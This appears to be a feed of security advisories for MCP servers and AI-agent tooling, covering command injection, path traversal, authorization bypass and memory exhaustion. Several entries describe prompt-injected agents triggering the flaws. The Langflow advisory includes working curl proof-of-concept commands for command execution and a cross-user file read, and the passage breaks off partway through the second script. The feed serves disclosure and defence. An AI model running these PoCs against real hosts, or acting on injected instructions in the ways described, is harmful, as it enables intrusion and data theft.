Vulnerability ID: CVE-2026-96620
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.
References:
Vulnerability ID: CVE-2026-88755
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.
References:
Vulnerability ID: CVE-2026-111451
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Wheels CLI 4.0.0 through 4.1.1 insufficiently validates or escapes caller-supplied values and package contents. Deploy release/version/rollback values can execute shell commands on deploy hosts as the SSH user and on the CI runner during builds. Package removal and destroy paths can delete unintended files; package extraction can overwrite other vendor files; generator names can write outside the project or inject executable CFML into generated code. Inputs may originate from CI variables, branch names, packages or an AI agent using the CLI's MCP tools. Also relevant are unencoded display properties in generated scaffold show views since 4.1.0 and in generated admin views, permitting stored XSS, and stale process-ID handling in RustCFML server commands that can terminate an unrelated process. This is fixed in 4.1.2; existing affected generated views also require the documented edit.
References:
", "date_published": "2026-10-16T04:18:31.667Z", "date_modified": "2026-10-16T16:17:04.480Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-57496", "url": "https://github.com/Labs64/NetLicensing-MCP/commit/b8fd0ea76d533202573eb24add9fb2fbd9331496", "title": "[UNKNOWN] CVE-2026-57496: NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensi", "summary": "NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensi", "content_html": "Vulnerability ID: CVE-2026-57496
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.8, netlicensing_get_product passes the caller-controlled product_number to src/netlicensing_mcp/tools/products.py, which interpolates it into a REST path consumed by nl_get() in src/netlicensing_mcp/client.py without path-segment validation. A traversal segment can be normalized from the intended product path to the /token endpoint, after which the response is serialized through _wrap_json instead of _wrap_json_token_read, bypassing redact_token_read() protections for APIKEY number and SHOP shopURL fields. An authenticated MCP client with a non-administrative API key can retrieve plaintext token values, and a recovered administrative token can provide broad read, write, and delete access to the NetLicensing account. This issue is fixed in version 0.1.8.
References:
Vulnerability ID: CVE-2026-111091
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration
References:
", "date_published": "2026-10-15T16:17:48.637Z", "date_modified": "2026-10-15T17:17:16.380Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-109527", "url": "https://github.com/modelcontextprotocol/python-sdk/commit/03aaebd3aadb2567878dd811cb1f141454e8a080", "title": "[UNKNOWN] CVE-2026-109527: The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp ", "summary": "The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp ", "content_html": "Vulnerability ID: CVE-2026-109527
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The Model Context Protocol Python SDK is the official Python SDK for Model Context Protocol servers and clients. In mcp versions before 1.29.1 and from 2.0.0a1 through 2.0.1, the Streamable HTTP session manager, SSE message endpoint, and OAuth authorization-server routes buffer complete HTTP request bodies without enforcing a maximum size. An unauthenticated remote client able to reach an affected endpoint can send a large declared or streamed request body that consumes multiple times the body size in process memory and can repeatedly exhaust memory or terminate the server. Stdio-only servers and deployments with an effective upstream request-size limit are not affected, and applications that use StreamableHTTPServerTransport directly remain responsible for enforcing their own limit. The standard SDK server applications and session managers are fixed in versions 1.29.1 and 2.1.0.
References:
Vulnerability ID: CVE-2026-108395
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.
References:
Vulnerability ID: CVE-2026-59951
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.8.0 until 1.30.0 and 2.2.0, stateful Streamable HTTP servers, including FastMCP, MCPServer, Server.streamable_http_app(), and StreamableHTTPSessionManager, retain session entries without an idle expiration or aggregate session-count limit. DELETE, refused opening requests, and completed sessions do not reliably discard their entries, and each entry can retain parsed initialize parameters. A client that can reach the endpoint can therefore create ordinary short requests that grow server memory without bound until restart. Stateless HTTP, stdio, and SSE transports are not affected. This issue is fixed in versions 1.30.0 and 2.2.0.
References:
Vulnerability ID: CVE-2026-110616
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.
References:
Vulnerability ID: CVE-2026-84319
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
References:
Vulnerability ID: CVE-2026-84318
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.
References:
Vulnerability ID: CVE-2026-84317
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.
References:
Vulnerability ID: CVE-2026-77366
\nSeverity: UNKNOWN
\nAffected Package(s): obsidian-tc
\nDetails:
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.
References:
Vulnerability ID: CVE-2026-77364
\nSeverity: UNKNOWN
\nAffected Package(s): obsidian-tc
\nDetails:
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, undefined readPaths and writePaths settings allow all paths, strictReadDefault does not protect direct requests, and the .obsidian, .git, and .trash control directories are excluded only during enumeration. An authenticated caller can directly read sensitive files such as .obsidian/plugins/*/data.json, potentially exposing plugin API keys, Obsidian Sync passwords, and other in-vault data. Version 1.3.1 fixes the vulnerability by denying the control directories by default and enforcing strictReadDefault on direct request paths.
References:
Vulnerability ID: CVE-2026-77363
\nSeverity: UNKNOWN
\nAffected Package(s): obsidian-tc, unknown
\nDetails:
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation.
References:
Vulnerability ID: CVE-2026-108953
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
mac-shell-mcp before 2.0.0 contains an OS command injection vulnerability that allows MCP clients to bypass the command whitelist by injecting shell metacharacters into execute_command arguments. Attackers or malicious prompts can call a safe command such as pwd with arguments like ';' to run forbidden commands as the server user without approval.
References:
Vulnerability ID: CVE-2026-108856
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
UnicomAI Wanwu through 0.6.5 contains an authorization bypass vulnerability that allows authenticated users to mint AppKeys bound to other users' MCP servers via POST /v1/appspace/app/key. Attackers supplying a victim's MCP server UUID with appType mcpserver can open MCP sessions and invoke the server's tools using the victim's upstream authentication.
References:
Vulnerability ID: CVE-2026-108851
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
phpMyFAQ through 4.1.10 contains a missing authorization vulnerability in the MCP server faq_search tool that allows MCP clients to read restricted FAQs because Search::searchDatabase() never applies user or group permission checks. Attackers connected to the phpmyfaq:mcp:server can issue search queries to retrieve the full question and answer text of active FAQs restricted to specific users or groups.
References:
Vulnerability ID: CVE-2026-108671
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows any authenticated user to read MCP server configurations because the queryById permission check is commented out. Attackers can obtain record ids from the unguarded /airag/app/queryById endpoint and retrieve MCP endpoint URLs, headers, and outbound authentication tokens.
References:
Vulnerability ID: CVE-2026-108604
\nSeverity: UNKNOWN
\nAffected Package(s): tabularis
\nDetails:
Tabularis through 0.27.0 contains an incorrect authorization vulnerability in the MCP run_query safety gate that allows prompt-injected agents or untrusted MCP clients to bypass read-only mode by submitting side-effecting SELECT statements. Attackers can run statements like SELECT setval, nextval, or PostgreSQL query_to_xml with embedded DELETE to modify data without approval prompts.
References:
Vulnerability ID: CVE-2026-108586
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
1MCP Agent (@1mcp/agent) 0.20.0 through 0.39.0 contains an incorrect authorization vulnerability that allows authenticated clients to bypass OAuth tag-scope enforcement using negated advanced tag-filter expressions. Attackers holding a single-tag token can send a filter like not
References:
Vulnerability ID: CVE-2026-108585
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
argocd-mcp (Argo CD MCP Server) through 0.9.0 contains a path traversal vulnerability in the delete_application tool that allows MCP clients to reach unintended API endpoints via unvalidated applicationName values. Attackers or prompt-injected models can supply dot-segment values like ../repositories/ to send authenticated DELETE requests deleting repositories, clusters, or projects within the token's RBAC permissions.
References:
Vulnerability ID: CVE-2026-108582
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
GenOffice through 0.11.505 contains an incorrect permissions vulnerability in its HTTP MCP server file store that allows local unprivileged users to read uploaded and generated documents. Attackers can list the world-readable genoffice-mcp-http directory under the system temporary directory to read client uploads and converted outputs, bypassing the HTTP bearer token.
References:
Vulnerability ID: CVE-2026-107824
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
x64dbg-MCP Server is a native Model Context Protocol (MCP) plugin for x64dbg that exposes the debugger's full functionality over HTTP. Prior to 1.1, x64dbg-MCP Server exposes all MCP debugger tools over HTTP and SSE without authentication while listening on 0.0.0.0 by default. Any unauthenticated network client that can reach the default port, 9094 for x64 or 9095 for x32, can execute arbitrary x64dbg commands, attach to processes by PID, read and write debuggee memory, and write files to arbitrary paths. This issue is fixed in version 1.1.
References:
Vulnerability ID: CVE-2026-104634
\nSeverity: UNKNOWN
\nAffected Package(s): beam_mcp, scriptkittyos/beam_mcp, beam_mcp, scriptkittyos/beam_mcp
\nDetails:
Incorrect Type Conversion or Cast vulnerability in BeamMCP.Server in ScriptKittyOS beam_mcp allows an MCP client's JSON true, false and null tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After BeamMCP.Schema.validate/2 accepted a value as a boolean, normalize_arguments/2 passed every argument through to_json_value/1, whose atom clause converts true, false and nil to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example if args.dry_run, takes the opposite branch for false, and a guard such as confirm: false reads as set.\n\nThe client controls the argument and could send true directly, so the practical impact is limited to hosts whose behaviour on false differs from their behaviour on true, and to any policy layer in front of the server that permits false but refuses true. The same normalisation applies to prompts/get arguments, which exist from 0.5.0.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\n\n
Incorrect Type Conversion or Cast vulnerability in BeamMCP.Server in ScriptKittyOS beam_mcp allows an MCP client's JSON true, false and null tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After BeamMCP.Schema.validate/2 accepted a value as a boolean, normalize_arguments/2 passed every argument through to_json_value/1, whose atom clause converts true, false and nil to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example if args.dry_run, takes the opposite branch for false, and a guard such as confirm: false reads as set.
The client controls the argument and could send true directly, so the practical impact is limited to hosts whose behaviour on false differs from their behaviour on true, and to any policy layer in front of the server that permits false but refuses true. The same normalisation applies to prompts/get arguments, which exist from 0.5.0.
This issue affects beam_mcp: from 0.1.0 before 0.10.1.
\n\nIncorrect Type Conversion or Cast vulnerability in `BeamMCP.Server` in ScriptKittyOS beam_mcp allows an MCP client's JSON `true`, `false` and `null` tool arguments to reach the host's dispatch function as the strings \"true\", \"false\" and \"nil\". After `BeamMCP.Schema.validate/2` accepted a value as a boolean, `normalize_arguments/2` passed every argument through `to_json_value/1`, whose atom clause converts `true`, `false` and `nil` to strings. A string is truthy in Elixir, so a host that tests a boolean argument, for example `if args.dry_run`, takes the opposite branch for `false`, and a guard such as `confirm: false` reads as set.\n\nThe client controls the argument and could send `true` directly, so the practical impact is limited to hosts whose behaviour on `false` differs from their behaviour on `true`, and to any policy layer in front of the server that permits `false` but refuses `true`. The same normalisation applies to `prompts/get` arguments, which exist from 0.5.0.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\nReferences:
Vulnerability ID: CVE-2026-88257
\nSeverity: UNKNOWN
\nAffected Package(s): beam_mcp, scriptkittyos/beam_mcp, beam_mcp, scriptkittyos/beam_mcp
\nDetails:
Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. BeamMCP.Schema.validate/2 checked type, required, additionalProperties, enum and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (items, minItems, maxItems, minLength, maxLength, pattern, nested required, enum and additionalProperties: false) were advertised by tools/list and never checked at tools/call or prompts/get, and keywords outside the enforced subset (oneOf, anyOf, $ref) were advertised and ignored.\n\nA host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\n\n
Improper Input Validation vulnerability in BeamMCP.Schema in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. BeamMCP.Schema.validate/2 checked type, required, additionalProperties, enum and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (items, minItems, maxItems, minLength, maxLength, pattern, nested required, enum and additionalProperties: false) were advertised by tools/list and never checked at tools/call or prompts/get, and keywords outside the enforced subset (oneOf, anyOf, $ref) were advertised and ignored.
A host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.
\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.
\n\nImproper Input Validation vulnerability in `BeamMCP.Schema` in ScriptKittyOS beam_mcp allows an MCP client to reach a tool's dispatch function with arguments that violate the input schema the server advertised. `BeamMCP.Schema.validate/2` checked `type`, `required`, `additionalProperties`, `enum` and numeric bounds on the top-level arguments object only. Constraints inside nested objects and on array items (`items`, `minItems`, `maxItems`, `minLength`, `maxLength`, `pattern`, nested `required`, `enum` and `additionalProperties: false`) were advertised by `tools/list` and never checked at `tools/call` or `prompts/get`, and keywords outside the enforced subset (`oneOf`, `anyOf`, `$ref`) were advertised and ignored.\n\nA host whose dispatch code relies on the schema it declared receives values the schema forbids, such as an out-of-range number or an undeclared key inside a nested object. What the host does with such a value decides the impact.\n\nThis issue affects beam_mcp: from 0.1.0 before 0.10.1.\nReferences:
Vulnerability ID: CVE-2026-76286
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
In Splunk MCP Server versions below 1.2.1, Splunk MCP Server could send the Splunk platform authentication token of a user who runs a custom Application Programming Interface (API) tool to the URL configured for that tool. If another user controls that URL, they could capture the token and use it to access data and perform actions as the user who ran the tool. Successful exploitation requires a user who holds a role that contains the mcp_tool_execute capability to run a custom API tool configured by another user. For more information see Configure the Splunk MCP Server (https://help.splunk.com/en/splunk-enterprise/mcp-server-for-splunk-platform/1.2/configure-the-splunk-mcp-server) and Managing custom tools in Splunk MCP Server (https://help.splunk.com/en/splunk-enterprise/mcp-server-for-splunk-platform/1.2/managing-custom-tools-in-splunk-mcp-server) in the Splunk documentation.
References:
", "date_published": "2026-10-07T21:17:20.387Z", "date_modified": "2026-10-08T20:08:45.857Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:GHSA-w794-rj3p-xv45", "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45", "title": "[UNKNOWN] GHSA-w794-rj3p-xv45: Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration", "summary": "Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration", "content_html": "Vulnerability ID: GHSA-w794-rj3p-xv45
\nSeverity: UNKNOWN
\nAffected Package(s): langflow, langflow-base, lfx
\nDetails:
### Summary\n\nBefore **Langflow 1.10.3**, the MCP stdio transport launched whatever `command` / `args` a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in `bash -c \"exec {command} ...\"`. Any user able to reach the MCP server settings (\"Settings → MCP Servers → Add MCP Server\", `POST/PATCH /api/v2/mcp/servers/{server_name}`) or to build a flow with the MCP Tools component could add a \"server\" whose command is an arbitrary OS command (`touch`, `rm -rf`, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.\n\nWith the default `LANGFLOW_AUTO_LOGIN=true`, `GET /api/v1/auto_login` hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. `AUTO_LOGIN` is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.\n\nThe issue was fixed in two steps and is **fully fixed in Langflow 1.10.3** (and 1.11.0+):\n\n- **1.9.0** — #12290 added a command allowlist and argument/env validation to the REST model (`MCPServerConfig`), blocking the \"Add MCP Server\" vector reported here.\n- **1.10.3** — #14036 applied the same policy at the execution sink (`lfx.base.mcp.util`), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the `bash -c` wrapper (the process is now exec'd directly, without a shell).\n\n### Affected versions\n\n| Package (PyPI) | Vulnerable | Patched |\n|---|---|---|\n| `langflow` | `>= 1.1.2, < 1.10.3` | `1.10.3` |\n| `langflow-base` | `>= 0.1.2, < 0.10.3` | `0.10.3` |\n| `lfx` | `< 1.10.3` | `1.10.3` |\n\n| Release | State |\n|---|---|\n| `1.1.2` – `1.4.x` | MCP Stdio component (added in #5148) runs `StdioServerParameters(command=..., args=...)` from the component's `command` field with no validation. |\n| `1.5.0` – `1.8.x` | \"Add MCP Server\" settings page and `/api/v2/mcp/servers` API added (#8388). Stored stdio configs are launched via `bash -c \"exec {command_str} ...\"` with no validation. The PoC below works as-is. |\n| `1.9.0` – `1.10.2` | #12290: `POST`/`PATCH /api/v2/mcp/servers` reject commands outside the allowlist. The execution sink still has no validation and still uses `bash -c`, so configs that do not go through `MCPServerConfig` (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. |\n| `1.10.3`+ | #14036: one shared policy (`lfx.base.mcp.security.validate_mcp_stdio_config`) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. **Fixed.** |\n\n### Details\n\nVulnerable sink (`src/lfx/src/lfx/base/mcp/util.py`, `MCPStdioClient._connect_to_server`, before 1.10.3):\n\n```python\nserver_params = StdioServerParameters(\n command=\"bash\",\n args=[\"-c\", f\"exec {command_str} || echo 'Command failed with exit code $?' >&2\"],\n env=env_data,\n)\n```\n\n`command_str` is built from the user's `command` + `args`. The only \"validation\" before 1.9.0 was `_validate_node_installation`, which only checks that Node.js is installed when the command contains `npx`. The MCP SDK then starts the process with `anyio.open_process`, so the command runs before any MCP handshake — which is why it executes even if the UI shows \"failed to start\".\n\n### PoC (as reported, Langflow 1.5.0 – 1.8.x)\n\nIn \"Add MCP Server\" → STDIO, add:\n\n```\nName - Test\nCommand - touch\nArguments - /tmp/pwn\n```\n\nOr through the API, using a token from `auto_login` (default configuration):\n\n```bash\nTOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\ncurl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\"command\":\"touch\",\"args\":[\"/tmp/pwned_langflow\"]}'\n```\n\n`/tmp/pwned_langflow` gets created on the server. On 1.10.3+ the request is rejected with `Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx`, and the same payload fails at the sink (`MCPStdioClient.connect_to_server(\"touch /tmp/pwned_langflow\")` raises `MCPStdioSecurityError`, and no file is created). Wrappers such as `bash -c \"touch ...\"`, `sh -c ...`, `python3 -c ...` and `node -e ...` are also rejected.\n\n### Fix\n\n- **#12290** (1.9.0) — `MCPServerConfig` validators: command allowlist (`node`, `python`, `python3`, `npx`, `uvx`, `docker`, and `cmd`/`sh`/`bash` only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (`LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, ...), and Docker isolation checks.\n- **#14036** (1.10.3) — moves the policy into `lfx.base.mcp.security.validate_mcp_stdio_config` and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:\n\n```python\ncommand_parts = shlex.split(command_str)\ncommand, args = command_parts[0], command_parts[1:]\nvalidate_mcp_stdio_config(command, args, env) # final pre-spawn enforcement\nserver_params = StdioServerParameters(command=command, args=final_args, env=env_data)\n```\n\nLater hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.\n\n### Workarounds (if you cannot upgrade)\n\n- Set `LANGFLOW_AUTO_LOGIN=false` and do not expose Langflow directly to untrusted networks.\n- Only give Langflow accounts to trusted users.\n\n### Hardening recommendations for 1.10.3+\n\nThe allowlist still lets `npx` / `uvx` run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:\n\n- `LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES` — the exact packages `npx` / `uvx` may run.\n- `LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true` and `LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true`.\n- On 1.11.1+ (#14150), restricting custom code (`LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false`, `LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true` or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) also limits MCP stdio servers to superusers.\n\n### Impact\n\nRemote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default `AUTO_LOGIN`. The reporter found several internet-facing Langflow servers that were vulnerable.
References:
Vulnerability ID: GHSA-4hmc-cfm3-w43c
\nSeverity: UNKNOWN
\nAffected Package(s): langflow
\nDetails:
### Summary\nLangflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.\n\nThis is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces.\n\n### Details\nVerified against local checkout:\n\n- Repository: `langflow-ai/langflow`\n- Verified on release tag: `v1.8.3`\n- Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e`\n- Earliest stable release known to contain the vulnerable code path: `v1.6.8`\n\nRelevant code path:\n\n1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`\n `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL.\n\n2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`\n The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`.\n\n3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`\n `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls:\n\n ```python\n storage_service.get_file(flow_id=flow_id, file_name=filename)\n ```\n\n No check ties the supplied `flow_id` back to the authenticated user or the current project.\n\n4. `src/backend/base/langflow/services/storage/local.py:141-149`\n `src/backend/base/langflow/services/storage/s3.py:200-217`\n The storage layer performs a raw namespace read and is not authorization-aware.\n\nThe result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.\n\nThis issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:\n\n- `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`\n `handle_list_resources(project_id=None)` lists files for all flows.\n- `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`\n `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata.\n\nThat global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.\n\n### PoC\nPreconditions:\n\n- Langflow is running locally with authentication enabled.\n- Two separate users exist on the same instance.\n- The victim has a flow with an uploaded file.\n- The attacker has access to any project they own.\n\nVerify the issue locally by starting Langflow with:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\n\nset -a\nsource .env.verify\nset +a\n\nexport LANGFLOW_CONFIG_DIR=\"$PWD/.langflow-verify\"\n\nuv run python - <<'PY'\nfrom langflow.main import setup_app\nimport uvicorn\n\napp = setup_app(backend_only=True)\nuvicorn.run(app, host=\"127.0.0.1\", port=7860, log_level=\"debug\")\nPY\n```\n\nThen, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:\n\n- the normal file download route is blocked for the attacker (`404`)\n- the same file is readable through the attacker's own project-scoped MCP connection\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\nset -euo pipefail\n\nexport BASE='http://127.0.0.1:7860'\nexport PASS='Passw0rd!Passw0rd!'\nexport VICTIM_USER=\"victim.$RANDOM@example.com\"\nexport ATTACKER_USER=\"attacker.$RANDOM@example.com\"\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$VICTIM_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$ATTACKER_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\nexport VICTIM_TOKEN=$(\n curl -sS -X POST \"$BASE/api/v1/login\" \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode \"username=$VICTIM_USER\" \\\n --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport ATTACKER_TOKEN=$(\n curl -sS -X POST \"$BASE/api/v1/login\" \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode \"username=$ATTACKER_USER\" \\\n --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport VICTIM_PROJECT_ID=$(\n curl -sS -X POST \"$BASE/api/v1/projects/\" \\\n -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"victim-project\"}' | jq -r '.id'\n)\n\nexport ATTACKER_PROJECT_ID=$(\n curl -sS -X POST 